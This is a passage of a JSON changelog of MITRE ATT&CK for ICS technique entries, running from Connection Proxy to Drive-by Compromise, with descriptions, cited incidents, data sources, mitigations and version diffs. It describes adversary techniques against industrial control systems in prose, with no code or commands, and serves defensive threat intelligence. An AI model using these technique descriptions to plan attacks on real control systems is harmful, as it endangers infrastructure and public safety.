Connection Proxy", "description": "Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1090" }, { "source_name": "University of Birmingham C2", "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Connection Creation\", \"old_value\": \"Process use of network\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Packet capture\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Netflow/Enclave netflow\", \"root['x_mitre_data_sources'][4]\": \"Network protocol analysis\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0807: Network Allowlists", "M0920: SSL/TLS Inspection", "M0931: Network Intrusion Prevention", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--83ebd22f-b401-4d59-8219-2294172cf916", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Damage to Property", "description": "Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. \n\nThe German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace.\n\nIn the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Maroochy - MITRE - 200808)\n\nA Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "impact-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0879", "external_id": "T0879" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "LodzTram-LondonReconnections-2017-12", "description": "John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.", "url": "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/" }, { "source_name": "LodzTram-InHomelandSecurity-2008-02", "description": "Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.", "url": "https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/" }, { "source_name": "LodzTram-Schneier-2008-01", "description": "Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.", "url": "https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html" }, { "source_name": "German Steel Mill - German Federal Office for Information Security - 2014", "description": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.", "url": "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_platforms'][0]\": {\"new_value\": \"None\", \"old_value\": \"Windows\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0805: Mechanical Protection Layers", "M0807: Network Allowlists", "M0812: Safety Instrumented Systems" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--493832d9-cea6-4b63-abe7-9a65a6473675", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 13:04:01.612000+00:00", "name": "Data Destruction", "description": "Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion) \n\nData destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident.\n\nStandard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0809", "external_id": "T0809" }, { "source_name": "EAttack File Deletion", "description": "Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1107" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matan Dobrushin - Otorio" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Deletion", "File: File Modification", "Process: Process Creation" ], "x_mitre_platforms": [ "Control Server", "Human-Machine Interface", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 13:04:01.612000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Deletion\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Process: Process Creation\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0922: Restrict File and Directory Permissions", "M0926: Privileged Account Management", "M0953: Data Backup" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3405891b-16aa-4bd7-bd7c-733501f9b20f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Data from Information Repositories", "description": "Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string \u201cSCAD*\u201d, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0811", "external_id": "T0811" }, { "source_name": "CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021", "description": "ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.", "url": "https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Logon Session: Logon Session Creation", "File: File Access" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Engineering Workstation", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 16:35:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string \\u201cSCAD*\\u201d, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)\", \"old_value\": \"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Application logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Logon Session: Logon Session Creation\", \"old_value\": \"Authentication logs\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"File: File Access\", \"old_value\": \"Data loss prevention\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021\", \"description\": \"ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.\", \"url\": \"https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Third-party application logs\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may target and collect data from information rept1Adversaries may target and collect data from information rep
>ositories. This can include sensitive data such as specifica>ositories. This can include sensitive data such as specifica
>tions, schematics, or diagrams of control system layouts, de>tions, schematics, or diagrams of control system layouts, de
>vices, and processes. Examples of information repositories i>vices, and processes. Examples of information repositories i
>nclude reference databases or local machines in the process >nclude reference databases or local machines in the process 
>environment, as well as workstations and databases in the co>environment, as well as workstations and databases in the co
>rporate network that might contain information about the ICS>rporate network that might contain information about the ICS
>. Information collected from these systems may provide the a>. Information collected from these systems may provide the a
>dversary with a better understanding of the operational envi>dversary with a better understanding of the operational envi
>ronment, vendors used, processes, or procedures of the ICS.>ronment, vendors used, processes, or procedures of the ICS. 
 >In a campaign between 2011 and 2013 against ONG organization
 >s, Chinese state-sponsored actors searched document reposito
 >ries for specific information such as, system manuals, remot
 >e terminal unit (RTU) sites, personnel lists, documents that
 > included the string \u201cSCAD*\u201d, user credentials, and remote d
 >ial-up access information.(Citation: CISA Chinese Gas Pipeli
 >ne Intrusion 2011 - 2013 July 2021)
", "changelog_mitigations": { "shared": [ "M0917: User Training", "M0918: User Account Management", "M0922: Restrict File and Directory Permissions", "M0926: Privileged Account Management", "M0941: Encrypt Sensitive Information", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8bb4538f-f16f-49f0-a431-70b5444c7349", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Default Credentials", "description": "Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. (Citation: Guidance - NIST SP800-82)\n\nDefault credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0812", "external_id": "T0812" }, { "source_name": "Guidance - NIST SP800-82", "description": "Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.", "url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Logon Session: Logon Session Creation" ], "x_mitre_platforms": [ "Human-Machine Interface", "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay", "Control Server", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Authentication logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Logon Session: Logon Session Creation\", \"old_value\": \"Windows event logs\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Network protocol analysis\", \"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0801: Access Management", "M0927: Password Policies" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--1b22b676-9347-4c55-9a35-ef0dc653db5b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Denial of Service", "description": "Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment.\n\nSome ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: BrickerBot - ICS-CERT - Alert)\n\nAdversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition.\n\nAdversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: Industroyer - ICS-CERT ADV) (Citation: Industroyer - CWE-400) (Citation: Industroyer - CVE-2015-5374)\n\nIn the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0814", "external_id": "T0814" }, { "source_name": "BrickerBot - ICS-CERT - Alert", "description": "ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019.", "url": "https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" }, { "source_name": "Industroyer - ICS-CERT ADV", "description": "ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019.", "url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01" }, { "source_name": "Industroyer - CWE-400", "description": "Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019.", "url": "http://cwe.mitre.org/data/definitions/400.html" }, { "source_name": "Industroyer - CVE-2015-5374", "description": "MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019.", "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5374" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Operational Databases: Process History/Live Data" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Data historian\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Operational Databases: Process History/Live Data\", \"old_value\": \"Packet capture\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][4]\": \"Sequential event recorder\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0815: Watchdog Timers" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2aa406ed-81c3-4c1d-ba83-cfbee5a2847a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Detect Operating Mode", "description": "Adversaries may gather information about a PLC\u2019s or controller\u2019s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device\u2019s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC\u2019s logic Is halted, and all outputs may be forced off. Run - Execution of the device\u2019s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program\u2019s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC\u2019s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0868", "external_id": "T0868" }, { "source_name": "ForumAutomation PLC Operating Modes October 2017", "description": "N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.", "url": "https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489" }, { "source_name": "Omron PLC Operating Modes", "description": "Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.", "url": "https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified." }, { "source_name": "Machine Information Systems PLCs 2007", "description": "Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.", "url": "http://www.machine-information-systems.com/How_PLCs_Work.html" }, { "source_name": "PLCgurus PLC Basic 2021", "description": "PLCgurus. (2021). PLC Basics \u2013 Modes Of Operation. Retrieved January 28, 2021.", "url": "https://www.plcgurus.net/plc-basics/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 11:39:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--25dfc8ad-bd73-4dfd-84a9-3c3d383f76e9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Device Restart/Shutdown", "description": "Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0816", "external_id": "T0816" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Ukraine15 - EISAC - 201603", "description": "Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.", "url": "https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Device Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Alarm history\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7830cfcf-b268-4ac0-a69e-73c6affbae9a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Drive-by Compromise", "description": "Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. \n\nThe adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. \n\nThe National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. \n (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0817", "external_id": "T0817" }, { "source_name": "Alert - CISA TA18-074A", "description": "NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "File: File Creation", "Network Traffic: Network Traffic Content", "Process: Process Creation" ], "x_mitre_platforms": [ "None" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Packet capture\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Creation\", \"old_value\": \"Network device logs\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", 